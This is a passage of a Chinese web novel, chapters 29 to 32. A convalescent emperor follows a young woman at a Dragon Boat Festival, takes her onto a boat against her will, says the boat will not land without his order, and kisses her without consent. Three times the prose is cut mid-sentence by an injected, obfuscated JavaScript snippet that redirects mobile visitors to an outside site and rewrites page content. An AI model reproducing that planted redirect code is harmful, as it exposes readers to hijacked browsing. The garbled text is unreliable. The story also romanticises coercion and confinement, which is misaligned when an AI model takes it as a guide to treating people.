李清述拿起托盘上那件玄色外袍,手臂穿过衣袖,慢慢披在上半身,然后他拢好衣襟,系上腰带。 暗卫始终跪伏于地,一动不动,如同最忠诚的影子。 直到李清述将染血放进内袋里,暗卫才以极低的声音开口,语气带着压抑的担忧和不解:“主子,您既有乾坤护心丹,为何先前……迟迟不服?还要让那贺姑娘……” 李清述闻言,轻轻笑了一声。 他抬起手,指尖拂过玄色外袍下左胸处依旧隐隐作痛的位置,那里,是金簪刺入又拔出的地方。 他抬眼望向贺佑宁消失的方向,瞳仁折射出冰冷而幽深的光。 “谁伤的,”他慢悠悠地开口,声音恢复了惯有的平静,甚至带着一丝玩味,仿佛在谈论一件与自己无关的趣事,“自然该由谁来负责救治。” 暗卫垂首,再无言语。 皇帝行事,孰敢阻之? 竹林寂寂,只有风穿过的声音。 29. 端午 晨光熹微,透过窗纱在床帐内落下柔和的光线。 贺佑宁悠悠转醒,呆坐一会儿便起身梳洗。 铜盆里的清水微温,她掬起一捧,轻轻拍在脸上。水珠顺着脸颊滑落,带来清冽的醒神感。 她正要取过帕子,动作却忽然顿住。 她的右手腕间,不知何时多了一缕五色丝线。 丝线极细,青、赤、黄、白、黑五色交织,编得匀称而细密,在腕间松松绕了两圈,尾端打了个精巧别致的平安结。水珠沾在上面,被晨光一照,折射出细碎柔和的光彩。 贺佑宁看着那缕彩线,指尖悬在半空,许久没有落下。 那日的一幕幕,毫无预兆地撞入脑海。 是他。 也只有他了。 这些时日没看见他,想必他应当是去养伤了吧。 贺佑宁慢慢放下手,指尖无意识地抚过那光滑微凉的丝线。五彩长命缕,端午日系腕祈平安的物什。 随后她拿起帕子,仔细擦干了脸上的水珠。那五色在晨光下愈发鲜亮,衬得她腕骨纤细雪白。 洗漱完,她抬眼望向窗外。 庭院里,已有仆役在门楣窗边插挂菖蒲艾草,空气里隐隐飘来清新的草药气味。 贺佑宁轻轻吸了口气,将心头的纷乱压下,转身走向衣箱。 打开箱笼,她略过那些素日常穿的淡色衣裙,手指停在一件艾草绿罗裙上。颜色鲜嫩绿意,料子轻薄柔软,裙摆绣着疏朗的兰草纹。她取出来换上。 艾草绿衬得人十分清爽,更添了几分节日的鲜活。她将袖口仔细整理好,那缕五彩丝线便半隐在绿色袖边,只偶尔露出一截彩色的边缘。 对镜插了一支步摇,又理了理鬓发后,她推门走出去,径直往外祖母住的松鹤堂行去。 还没进门,便听见里头热闹的说笑声。 “这叶子要这样折……” “米不能放太多,不然煮不熟!” 花厅里,几位祖母并婶娘围坐在大圆桌前,桌上铺满了碧青青的宽粽叶,各色馅料琳琅满目。空气中弥漫着箬叶特有的清新气息。 “宁姐儿来了!”二婶眼尖,笑着招呼,“快过来,正缺人手呢!” 贺佑宁含笑上前见礼。 外祖母拉她在身边坐下,目光慈爱地扫过她一身艾草绿,又在她腕间那缕精致的彩线上停了停,笑道:“这长命缕编得真好,系上了扣子,保佑咱们宁姐儿平安顺遂。” “谢祖母吉言。”贺佑宁温声应着,净了手,便也学着包起粽子来。 她学得认真。取一片宽大粽叶,旋成漏斗状,先铺一层莹白的糯米,放两颗蜜枣,再覆上糯米,压实,然后手指灵巧地翻折粽叶,裹成端正的四角形,最后用细麻线仔细捆扎。 第一个裹得有些松,形状也不太规整。老祖母笑着指点:“线要扎紧些,不然煮的时候会散。” 第二个便好多了,碧绿玲珑,棱角分明。到第三个时,已经颇为娴熟,裹得紧实漂亮,和祖母们裹的摆在一起,竟也不逊色。 “宁姐儿真是手巧。”三婶笑着夸赞。 贺佑宁浅笑不语,只将裹好的三个粽子仔细放在一旁。 晨光透过窗纱,落在她专注的侧脸上,艾草绿的衣袖随着动作轻摆,腕间那缕彩线时而露出,时而隐没。 粽子裹好后,仆妇们端去大厨房蒸煮。众人移步偏厅用茶闲话,说说笑笑间,已近午时。 热气腾腾的粽子端上来时,满室飘香。贺佑宁拈起一个自己裹的蜜枣粽,小心剥开深绿的粽叶。糯米晶莹软糯,红枣的甜香混着箬叶清气扑面而来。 她小口吃着,甜糯的滋味在唇齿间化开。祖母劝她多吃一点,时不时夹个咸肉粽,或者递个豆沙粽给她。 午膳后,贺佑宁陪着外祖母说了会儿话,便起身告退。她拿起那个粽子,缓步走出松鹤堂。 刚拐过月洞门,便听得一阵清脆的笑语由远及近。 “宁姐姐!宁姐姐!” 三个穿着鲜亮夏衫的小姑娘从游廊那头小跑过来,正是贺佑宁的几位小表妹。最大的十一岁,梳着双丫髻,簪着应景的绒花。最小的才七岁,腕上脚上都系满了五彩丝线,跑动起来叮当作响。 “你们慢些跑。”贺佑宁含笑停下脚步。 “宁姐姐,我们正要去找你呢!”最大的表妹眼睛亮晶晶的,“听说今日河上有龙舟赛,可热闹了!咱们一块儿去看好不好?” “是呀是呀!”另外两个小的也连声附和,满脸期待。 贺佑宁本就有此打算,端午佳节,自然要出门游玩一番,她轻轻点头:“好呀,我们一起去瞧瞧。” 小表妹们顿时喜笑颜开。 早有仆妇备好了青帷小车,很快一行人便出了贺府的大门。 街市果然比平日热闹许多,车马粼粼,行人如织,处处可见挑着菖蒲艾草、卖着五彩丝缕和香囊的小贩,空气里混杂着各种食物的香气与草药的清气。 河岸不远,未到近前,已能听见隐隐的鼓声与鼎沸的人声。下车后,几个表妹便迫不及待地往人群里钻,贺佑宁忙让随行的嬷嬷丫鬟们跟紧照看。 河岸边早已是人山人海,彩旗招展,锣鼓喧天。宽阔的河面上,七八艘狭长的龙舟正蓄势待发,舟首龙头昂扬,彩绘鲜明,舟上汉子们赤着上身,肌肉虬结,手持木桨,随着鼓点整齐地呼喝着。 “要开始了!要开始了!”表妹们兴奋地指着河面。 贺佑宁寻了处地势稍高的柳荫下站着,既能看清河面,又不必与人群挤挨。微风拂过柳枝,也拂动她艾草绿的裙摆和鬓边碎发。腕间的五彩丝线在阳光下熠熠生辉。 “咚!咚!咚!” 震天的鼓点骤然急促,龙舟如离弦之箭般破开水面,向前冲去。桨起桨落,水花四溅,汉子们的呼喝声与岸边观众的呐喊助威声汇成一片,震耳欲聋。 小表妹们早已看得忘形,跟着人群一起大声喝彩。 贺佑宁的目光随着那几艘你追我赶的龙舟移动,正凝神间,忽然觉得手腕上的丝线似乎被人轻轻扯了一下。 那力道很微妙,不是完全的拽动,更像是有人用指尖,带着某种似有若无的熟悉的意味,轻轻勾了勾那缕彩线。 贺佑宁心头猛地一跳。 周遭的喧嚣吵闹声仿佛瞬间被隔绝开,只剩腕间那一点细微的触感,清晰得惊人。 她缓缓回过头。 身侧柳荫疏落的光影里,不知何时竟多了一个人。 是李清述。 他穿着一身素白无纹的广袖长衫,衣料是极轻薄的雪色鲛绡,日光透过来,几乎能看见衣料下清瘦的身形轮廓。 他就那样安静地站着,离她不过两步,身姿依旧修长如竹,却透出一股易折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155042|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破碎的脆弱感。仿佛一尊被晨露浸润过的玉像,虽已拭去水痕,内里却仍沁着凉意。 贺佑宁的目光落在他脸上,呼吸几不可察地滞了滞。 他的脸色虽然有些苍白的,却非死寂的灰败,而是一种被病气洗练过,近乎剔透的净白,如同上好的羊脂玉,在日光下流转着温润的光泽。 他的眉眼此刻淡去了锋锐,只余两道清逸舒展的弧度,眉间笼着一层似有若无的病色,宛若云霭轻遮峰峦。非但不显憔悴,反添了几分不食人间烟火的出尘之美。 他的长发用一根素白玉簪松松挽着大半,仍有几缕垂落肩背,随着微风缓缓飘动。宽大的雪白衣袖自然垂落,隐约能窥见其下清癯的腕骨和修长的手指。他左手虚虚拢在身前,右手握着一柄未展开的素面折扇,指尖亦是苍白的,透着一种玉器般的凉意。 整个人站在那里,像是一缕误入红尘的仙魄,与周遭锣鼓喧天、人声鼎沸的端午盛景格格不入。 而他的眼睛,此刻正在注视着她。 那目光显得格外清透,像是一块冰封的湖面,底下有暗流缓缓涌动,表面却只是映着天光云影,平静得令人心慌。 他的表情亦是平静的,甚至可以说得上是温和。苍白的脸上没有任何明显的情绪波动,唇线抿成一道淡而直的弧度。可就是这种近乎无表情的平静,配合着那双过分清透专注的眼眸,却让贺佑宁感到一种密不透风的无形压迫感。 他什么也没说,只是这样看着她。 午后的风拂过,吹动他额前几缕墨发,在他的额角轻轻扫过,雪色的衣袂随风微动。 贺佑宁觉得那缕丝线,仿佛不是系在皮肉上,而是直接系在了她的脉搏上,随着他沉默的注视,一下一下地重重跳动着。 贺佑宁终究是没忍住,压低了声音:“你看什么?” 李清述闻言,极轻地笑了一下,显得格外清浅。他唇角弯起一个极淡的弧度,并不明显,却让那张淡然的脸瞬间生动了几分,仿若冰层乍裂,透出一缕底下幽微的光。 “只是看看……不可以么?”他声音清晰磁性,语速不紧不慢。 “而且,”他的声音更轻了些,“你不看我的话,怎知我在看你呢?” 这话说得轻飘飘,却带着某种理直气壮的狡黠。 贺佑宁心头的那点恼意被这话一燎,反而冷静了些。 她迎着他的目光,嘴角也扯出一个没什么温度的弧度,语气刻意放得平淡,甚至带上了一丝冷意。 她没有直面问题,反而转移话题:“我还以为你死了呢。” 李清述听了这话,脸上的浅笑并未消失,反而更深了些许。 他微微偏了偏头,轻声道:“死不了。” 然后,他往前踏了一步。 两人之间的距离本就近,这一步,几乎让他身上那股淡淡药味与冷香清晰地笼罩过来。 贺佑宁下意识地想后退,周围却不是树便是人。 他微微低下头,目光与她平视,那双眼里此刻清晰映出她有些怔忡的脸。 他看着她的眼睛,声音不高,却奇异地穿透了周围所有的喧嚣,直抵她耳畔,“你还活着呢,我自然也要陪你一起好好活着。” 他说得极轻,却又极重。 仿佛不是随口一说,而是一个早已约定好的承诺。 贺佑宁的指尖无意识地收紧了。 30. 画舫 他此刻虽然一副病弱无害模样,但之前的种种无一不在提醒着她,此人绝非良善之辈。 贺佑宁定了定神,压下心头翻涌,回道:“你作孽太多,也许老天会早早把你收了去。” 这话说得直接,甚至有些刻薄。她看着他,想从他脸上找到一丝被触怒或别的什么情绪。 李清述听了,并未动怒。他歪了歪头,几缕墨发随着他的动作滑落,拂过他苍白的脸颊。 “那我死了便死了罢。” 他语气轻松得像在讨论别人的生死,目光落在她脸上,未曾移动分毫,“但你总有一天会来陪我的。” 这话说得理所当然,笃定得令人心惊。仿佛她的归处早已被他划定,与他的生死捆绑。 贺佑宁抿唇,目光冷淡,“生前不同道,死后又怎会同路呢?” 一句话,斩钉截铁,划清界限。 身旁静了一瞬。 李清述轻轻笑了一下,随后却便是他仿佛带着钩子般钻入她耳中的声音: “你怎知我和你不同道?”接着他又开口,“事在人为。” 四个字,平平淡淡,却仿佛藏着无尽的深意。 他站在那里,雪衣墨发,玉容病色,静静地看着她,里面没有逼迫,没有威胁,只有一片深不见底的平静。 贺佑宁迎着他的目光,心头那股杂乱的情绪忽然奇异地沉淀了下来。既然他非要纠缠,那就…… 她也学着他的语气,平平淡淡地回了一句:“嗯,的确事在人为。” 声音不高,却清晰坚定。 李清述闻言,微微一怔。 随即他的眸子里倏然漾开笑意,先是浅浅的,然后慢慢加深,一个近乎昳丽的笑容。他轻轻点了点头,仿佛得到了一个极满意的答案。 “对。”他低声道。 随后他不紧不慢地从宽大的雪白袖袍里,掏出一个用白色帕子包裹得方正正的东西。 他缓缓打开,逐渐露出全貌,里面是一个小巧碧绿的粽子。 接着他修长分明的手指,开始慢条斯理地剥开外层的粽叶。动作优雅,带着一种与这喧闹场合格格不入的闲适。 深绿的箬叶被层层揭开,露出里面晶莹软糯的米团,以及嵌在其中深红色的蜜枣。熟悉的甜香混着箬叶清气,隐隐飘散过来。 贺佑宁起初只是旁观,直到越看越不对劲,那粽子的大小、形状,甚至捆扎的细麻绳缠绕的方式,似乎都有些莫名的眼熟…… 然后她的目光落在那麻绳打结的方式上,绳头收束的方式,缠绕的圈数,最后那个小小的、不易察觉的环扣……都与她的一模一样。 “……那粽子” 她包了三个,吃了两个,还留了一个打算等晚上再吃,可现在…… 李清述拈着那颗剥了一半的粽子,没有回答她的疑问,只是低下头,就着那剥开的粽叶,极其自然地咬了一小口。 他吃得很慢,细嚼慢咽。 等缓缓吞咽下去之后,才说道:“嗯,味道不错。” 贺佑宁看着他那副理所当然享用的模样,心头“噌”地一下冒出一点火气,“不问自取是为贼,你这是小偷行径!” 李清述轻笑了一下,咽下了口中软糯的米粒,琉璃色的眸子在阳光下闪着微光,语气闲适:“我给了钱的。” “?”贺佑宁一愣。 李清述缓缓道:“国库里的那几样东西,换你一个粽子够不够?” 贺佑宁倒吸一口凉气,她迅速左右张望,幸好周围人群的注意力都在河心激烈的龙舟赛上,无人留意他们这角落的低声交谈。她急急压低声音,几乎是从牙缝里挤出来:“你疯了!这种话也敢说?!小声一点,可不要连累我和你一起被人砍了头!” 她那紧张惶急的模样,仿佛真的怕下一刻就有官兵冲过来抓人。 李清述看着她微微瞪圆的眼眼和绷紧的下颌,不由得再次笑起。 他微微倾身,靠得更近了些,“我觉得得同月同日死也挺好的,至少死后可以和你一起走黄泉路了。” 温热的气息拂过贺佑宁的耳廓,带着一丝粽子甜糯的余香和他身上特有的清冷,激起一阵细微的战栗。这话说得轻佻,却又透着一种让人心惊肉跳的认真。 贺佑宁猛地后退半步,拉开距离。 她抬头狠狠瞪了他一眼,眼神里写满了“疯子”二字,干脆扭过头去,彻底不再看他,显然无语到极致,懒得再回应他那些疯言疯语。 李清述也不在意,自顾自地继续慢慢吃着那个粽子。 吃完后,他取出一方素白的丝帕,用帕子慢条斯理地擦拭着每一根手指,从指尖到指缝,动作从容细致。 就在此时,与竞渡龙舟的热烈方向相反的另一头,水波轻漾,一艘精巧的画舫正缓缓驶近。 画舫不大,却极尽雅致,船身漆作暗朱色,雕梁画栋,窗棂上糊着素纱,檐角悬着几盏未点起的琉璃风灯,在日光下流光溢彩。 它悄无声息地破开水面,避开主河道上喧腾的赛事,稳稳地停在了他们所在的这片柳荫外一处稍显僻静的短堤旁,距离岸边约莫两丈有余。 画舫停下,舱帘未动,也无人现身招呼,仿佛只是偶然泊岸。 贺佑宁正有些诧异这画舫来得突兀且停得这般远,身侧的李清述却已擦净了手,将那方丝帕随意拢入袖中。 然后,他忽然侧过身,面对着她。 “得罪。”他低声道,声音平静无波。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155043|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贺佑宁尚未反应过来他此言何意,只觉得腰间陡然一紧,他竟伸手揽住了她的腰。那手臂看着清瘦,力道却稳得出奇,带着不容抗拒的掌控感,将她瞬间带向他怀中。 “你——”贺佑宁只来得及吐出一个音节,整个人已被他带着足尖离地。 如一道掠过水面的惊鸿,轻盈精准地越过那两丈宽的水面,落向画舫的甲板。 整个过程快得只在瞬息之间。 贺佑宁只觉得耳畔风声呼啸,岸上喧腾的人群与彩旗飞速后退,碧绿的河面在脚下掠过,下一刻,双脚已踏上了坚实而微晃的木质甲板。 李清述几乎在落地的瞬间便松开了揽在她腰间的手。他只虚虚地扶着她的手腕,助她稳住身形。 贺佑宁惊魂未定,胸口微微起伏,抬眸瞪向他。他却已微微侧过脸,避开了她的目光。 画舫在他们落下的那一刻,便仿佛得了无声的指令,悄无声息地调转方向,朝着更开阔也更安静的河面缓缓驶去。 水波在船身两侧划开两道长长的涟漪,将岸上那片震耳欲聋的喧嚣,远远地抛在了身后。 甲板上只剩下他们两人,以及一河水声。 “你带我来这里做什么?” “游湖。”李清述答得简洁,语气理所当然。 贺佑宁气结。 她撇开脸,望向远处逐渐缩小的河岸,声音硬邦邦:“我不想看。” 她等着他反驳,或是再说些强词夺理的话。 然而,李清述只是沉默了。 河风轻轻吹过,掠过他鸦羽般的鬓发。他缓缓侧过脸,目光投向浩渺的水面,没有立刻回应。 日光自他身后斜照,为他清瘦的轮廓镀上了一层虚弱的金边。那身素白衣袍在风中微微鼓荡,衣料薄如蝉翼,隐约透出底下缠裹伤处的绷带轮廓。 眉眼如远山覆雪,清逸绝伦,可那山巅的雪色之下,却仿佛藏着即将融化的裂痕。眼睫低垂时,在苍白的面颊上投下两道浓密的阴影,随着他微弱得近乎屏息的呼吸轻轻颤动,每一次颤动,都仿佛能牵动着旁人心底某根柔软的弦。 他的眼眸然好似凝着一层薄雾,轻轻一触便会破碎。唇线抿着,显露出些许隐忍的痛楚。 他整个人站在那里,便让人无法移开目光,不由得被他那份极致的脆弱与孤独牢牢攫住心神。 “那……”他终于开口了,声音比刚才更低,每一个音节都轻飘飘的,落在风里几乎听不见,“你陪我看一下,好吗?” 他的目光执着地落在贺佑宁脸上,眼睫脆弱地扇动了一下,声音轻得如同叹息,带着一种令人无法拒绝,近乎哀求的柔软。 “小时候每每这样的日子,总是只有我一个人……” 31. 汤药 贺佑宁没有回答。 她的手扶着微凉的木质栏杆,面向船舷外的开阔水面,眺望着远处水天相接的景致,仿佛被那波光吸引。 她的沉默,让身后的李清述眸光几不可察地闪动了一下。 他看着她纤细挺直的背影,艾草绿的衣裙在河风中轻轻飘拂,墨发如云。她虽未回答,但这份沉默,似乎已是一种默许。 他的唇角极快地向上弯起一个微小的弧度,随后又迅速消失。 他以为,他那番半真半假的“可怜”,终究是打动了她一丝心肠,让她愿意沉默地哪怕陪他片刻。 然而,他并不知道。 贺佑宁此刻的沉默与驻足,并非因为心软。她只是心里清楚,无论她答应与否,此刻她都无法离开这里。 船已行至河心,四顾茫茫,除了水,便是更远处模糊的岸影。她不通水性,即便通,在这般开阔水域跳下去也无异于自寻死路。 还不如静静等待,另寻时机。 河风拂面,带着水汽的微凉。 画舫静静地破水而行,水面漾起细密而的波纹。远山只剩下淡青的轮廓,光晕柔柔地化在水汽中,随波晃成一片碎金。 的确是难得一见的好景致,可这景致看久了,也难免会觉得有些乏味。 “里面备了清茶,不如进去坐坐吧。一边品茗一边赏景,或许更有趣味。”李清述突然开口。 他侧过身,微微抬手示意船舱的方向。姿态优雅从容,仿佛真的只是主人邀请客人入内小憩。 贺佑宁的目光掠过他雪白的衣袖,落在垂着帘幕的船舱入口。 入口帘幕低垂,看不清内里情形,只隐约透出一点暖黄的光晕。 贺佑宁没有言语,只是迈开脚步,越过他身边,率先朝着船舱走去,艾草绿的裙摆轻轻扫过光洁的甲板。 李清述跟在她身后半步之遥。 贺佑宁撩起帘幕,低头走了进去。李清述随后步入,帘幕在他们身后无声落下,将一船水色天光,轻轻隔在了外面。 船舱内比想象中宽敞,布置清雅。四壁悬着淡墨山水,窗下设一张黑漆嵌螺钿的小几,两侧各有一个锦垫。几上已备好了茶具,一只小巧的兽首铜炉燃着淡雅的檀香,青烟袅袅。靠里侧还有一道竹帘,是通往内舱或者船尾的。 贺佑宁在靠近舱门的锦垫上坐下,背脊挺直,目光平静扫过舱内陈设。 李清述在她对面落座,姿态放松,雪白的衣摆铺散开来,与深色的锦垫形成对比。 两人刚坐定,竹帘后便传来极轻的脚步声。一个侍从垂首走了进来,动作轻盈利落,目不斜视。 他端着一个黑漆托盘,托盘上摆着几碟精致的鱼脍与小菜。一碟薄如蝉翼近乎透明的生鱼片,整齐地码放在冰镇上,旁边配着细姜丝和酱汁。一碟是炸得金黄酥脆的小银鱼,撒着细盐和椒粉。还有是一碟清蒸的河鲈,只取了最肥美的鱼腩部分,淋着清淡的豉油,点缀着葱丝。另有两小碗奶白色的鱼汤,香气扑鼻。并几样清爽的时蔬小菜。 菜色不多,却样样精巧,显然是花了心思准备的,且都与这端午水畔应景。 侍从布好菜后,便无声退了出去,全程垂着眼,仿佛只是个没有感情的影子。 舱内再次恢复安静。 李清述端起茶杯,浅浅啜了一口,随后放下茶杯,出声道:“随意用些,这河鲈是刚捕上来的,还算新鲜。” 贺佑宁看着眼前这桌色香俱全的菜肴,又瞥了一眼对面的男人。拿起面前的素白瓷筷,伸向了那碟清蒸河鲈。 有好吃的她干嘛不吃呢? 她就要吃! 鱼肉雪白,筷子轻轻一拨便脱了骨,送入口中,果然鲜嫩无比,豉油的咸鲜恰到好处地衬托出鱼肉的清甜,火候掌握得极好。 她细嚼慢咽,脸上没什么表情,进食的动作端正从容。 李清述看她动了筷,眼里掠过一丝极淡的笑意。他拿起公筷,夹了一块炸得金黄诱人的小银鱼,轻轻放入了贺佑宁面前的小碟中。 “这银鱼是本地河鲜,炸得酥脆,试试。”他声音平稳,仿佛两人只是寻常的主客。 贺佑宁动看了一眼碟中那条完整小巧、香气扑鼻的炸银鱼。直接无视了,继续夹向其它的菜。 李清述看着这一幕,也没有露出什么异样的情绪。 他自己也夹了一小块鱼腩,吃得慢条斯理,显然胃口并不好,每样菜都只是浅尝辄止。 舱内一时只有细微的碗筷轻碰的声响。 贺佑宁吃了七分饱之后,放下筷子,端起茶杯,轻饮了一口温茶。 李清述也停了筷,目光落在她脸上。 “合口味吗?”他问。 贺佑宁淡声道:“尚可。” 她始终保持着一种克制的平静,既不显局促,也无半分热络,仿佛对面坐着的只是个不得不应付的普通熟人。 李清述微微颔首,目光转向窗外。画舫不知何时已驶入了一片更为开阔平静的水域,远处可见青山如黛,近处芦苇依依。 “这顿饭,”他忽然开口,声音很轻,像是在对她说话,又像是在自言自语,“我盼了许久。” 贺佑宁:“?” 李清述没有再继续开口。 他只是静静地望着窗外,侧脸在舱内柔和的光线下,俊美得惊人,却也苍白脆弱得令人心悸。那身雪白的衣衫,衬得他仿佛随时会融入那片水光山色之中,化作一缕抓不住的烟云。 贺佑宁并不打算主动打破这份安静。她只希望这顿饭就此结束,船能靠岸,她好尽快离开这里。 忽然,李清述极轻地吸了一口气。那吸气声很短促,带着一丝不易察觉的颤抖,仿佛牵动了某处伤口。 贺佑宁下意识地抬眸看去。 只见他原本只是略显苍白的脸色,此刻似乎更白了几分,连唇上那点浅淡的粉色也褪得干干净净。 他微微蹙起了眉,搁在膝上的那只手缓缓抬了起来,轻轻按在了左胸上方。 雪白的衣袖随着动作滑落一截,露出一截同样苍白,线条却优美清瘦的手腕。 “咳……” 他低低地压抑地咳嗽了一声,随即立刻抿紧了唇,将那咳嗽声硬生生咽了回去,只是喉结剧烈地滚动了一下。 再抬眼看向贺佑宁时,那双曜黑色的眸子里蒙上了一层水光,眼尾因不适洇出一抹淡红,为他这张过分出色的脸,平添了几分惹人心怜的脆弱感。 贺佑宁没有动,也没有出言关切,只是依旧静静看着。 李清述似乎并不指望她会上前嘘寒问暖。他缓了片刻,待气息稍匀后,重新坐直了身体。 就在这时,帘幕再次被轻轻掀开,方才的侍从再次垂首走了进来。他手中依旧端着一个黑漆托盘,上面稳稳放着一只白瓷药碗。碗中盛着大半碗深褐色的药汁,热气袅袅,一股浓郁苦涩的药味顿时在舱内弥漫开来,盖过了之前的茶饭余香。 侍从将药碗轻轻放在李清述面前的小几上,低声道:“主子,该喝药了。”说完,便又如影子般悄无声息地退了出去。 舱内一时只剩下碗中升腾的热气与那苦涩的药味。 李清述的目光从窗外收回,落在了眼前那碗深褐色的药汁上。他静静看了片刻,长长的睫毛垂下来,在苍白的脸颊上投下两弯静谧的阴影。 然后,他几不可闻地极轻叹了口气。 他没有立刻去端药碗,只是伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155044|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修长苍白的手指,指尖在温热的碗壁上轻轻触碰了一下,又像是被烫到般快速收回。 他此刻流露出的这点对苦药的畏惧与不情愿,非但无损他的气度,反而为他平添了几分真实的人间烟火气,也愈发显得……脆弱,需要怜惜。 随后他轻轻抬起眼,就这样看着贺佑宁,像是在无声地诉说,又像是在等待着什么。 贺佑宁看着他这副对着汤药蹙眉叹息的模样,深吸一口气,尽量让自己的声音听起来平静,可那丝压不住的忍无可忍还是泄露了出来:“你在装什么啊?” 她看着他,目光里带着审视。 李清述听了,并未动怒,反而像是被人冤枉了般有些委屈地眨了眨眼。他就那样睁着眼睛望着她,仿佛在说:我没有装。 他的声音很轻很轻,带着一丝心酸,“这真的很苦……” 说着,他像是为了证明自己所言非虚,伸手端起了那碗药。药汁在碗中轻轻晃荡,深褐色的液体映着他苍白的手指。他闭了闭眼,仿佛下定了极大的决心,然后凑近碗边,轻轻啜了一口。 药汁入口的瞬间,他的眉头立刻紧紧蹙起,连带着那张俊美出尘的脸都微微皱了起来。喉结剧烈地滚动了一下,将那口药艰难咽下。随即,他放下药碗,立刻抬手掩住了唇,侧过脸压抑地低咳了两声。 再转回头时,长睫上甚至似乎沾了点点湿意。 他看向贺佑宁,眼神里带着一些无奈。 贺佑宁:“……” 看着他这副活像是被灌了毒药的模样,她只觉得一阵无力。她不信一个行事如此疯狂的人会惧怕喝药。 毕竟杀人对于他而言,也不过是如点头般轻巧。 贺佑宁别开脸,不想再看他这副模样。只觉得再多看一眼,自己都要被他带得疯了起来。 她这般明显的不信任,似乎让李清述有些失落。 他放下掩唇的手,指尖无意识地捻了捻袖口。 “你……不相信吗?”他轻声问,声音里那点可怜的意味更浓了。 贺佑宁不回答,当作没听见。 然而下一刻,她身旁的锦垫章微微一沉。 李清述端着那碗还剩大半的药,在她身旁的空位上坐下了。两人之间的距离瞬间拉近,他身上的气息混合着药香立刻将她包围。 他将药碗放在两人之间的小几上,目光直直地看向她。 因为距离太近,贺佑宁能清楚地看到他因方才喝药而愈显淡色的唇,甚至能感觉到他带着药苦味的微弱呼吸,轻轻拂过她的颊侧。 “真的很苦,”他又重复了一遍,语气认真,仿佛非要她认同这个事实,“不信你尝尝。” 贺佑宁刚想说她尝这个做什么?! 然而话音尚未出口,下一瞬,她眼前的光线被他骤然靠近的身影遮挡。 李清述微微倾身,那张俊美而苍白的脸在她瞳孔中急速放大。她甚至来不及做出任何反应,只觉唇上传来一点微凉而柔软的触感。 是他的唇。 带着汤药残留清苦微涩的味道,轻轻印上了她的唇瓣,一触即分。 随后他的唇再次贴了上来,带着一种异常温柔的力度。她能感受到那苦涩药味在唇齿间弥漫开来,然后如同悄然渗透的雾气渡入了她的口中。 整个过程,他的眼睛始终没有闭上。 他就这样直直注视着她,幽黑的眼珠仿佛要望进她的心底。瞳仁里清晰地映出她微微睁大眼眸的模样。 他在观察,观察她是否真的尝到了那份苦,观察她在受到这份突如其来的亲密接触时,所表现出来的每一丝情绪。 那目光专注得近乎渗人,像是要将她每一个细微的反应都刻印下来。 32. 第 32 章 贺佑宁完全僵住了,浑身的感官似乎都集中在了唇上那点微凉柔软的触感,和口中挥之不去的苦涩,以及……他一眨不眨,仿佛能洞穿她所有心绪的黑色眼眸。 贺佑宁整个人完全回过神来之后,用尽全力向后挣脱,双手抵在他胸前,然后猛地一推! 李清述顺着她的力道向后倒去。 他宽大的雪白衣袖如鹤翼般倏然展开,在空中划出一道翩然的弧线。墨黑的长发挣脱了玉簪的松散束缚,如泼墨般飞扬而起,丝丝缕缕,随后又如瀑般披散下来,半掩住他低垂的侧脸。在舱内昏黄的光线下闪烁着幽暗的光泽,逾发显得他的肤色过于白皙。 他一手仍虚按在左胸,指尖深陷进衣料,绷出苍白而脆弱的骨节。另一只手臂无力地垂落在地,修长的手指微微蜷曲,指尖触及冰凉的地板。 他低垂着头,脖颈的线条优美却脆弱,如同引颈待戮的天鹅。 白衣委地,墨发披散,像一尊被不慎打碎后弃置于地的白玉雕像,每一道裂痕都透着惊心的美丽与残破。 唯有那压抑丝丝的喘息声,从他紧抿的唇间逸出,提醒着这并非冰冷的雕像,而是一个正在忍受病痛的血肉之躯。 每一次呼吸的起伏,都牵动着那单薄衣衫下紧绷的肌理。 贺佑宁转身,快步朝着舱门走去,伸手便要掀开那层帘幕。 然而,她的手刚触到帘子,身后便传来他低不可闻的声音,却清晰无比地传入了她的耳中。 “你走不掉的。” 贺佑宁动作微微一僵,霍然回头。 李清述靠在舱壁上,一手按着伤处,脸色苍白如雪,幽暗的眼眸直勾勾地盯着她,“船在河心,没有我的命令,不会靠岸。” 他看着她瞬间紧绷的身影,继续轻声道:“所以,陪我把药喝完,好吗?” 贺佑宁站在原地,背对着他没有动。指尖紧紧攥着那层帘幕。他的话像冰冷的锁链,一圈圈缠绕上来,将她困在原地。 舱内一片寂静。 就在这令人窒息的僵持中,贺佑宁忽然感觉到身后传来轻微的空气流动。 下一瞬,一股温热的气息毫无预兆地拂过她敏感的耳廓。距离极近,几乎贴着她的皮肤。 她浑身汗毛瞬间倒竖。 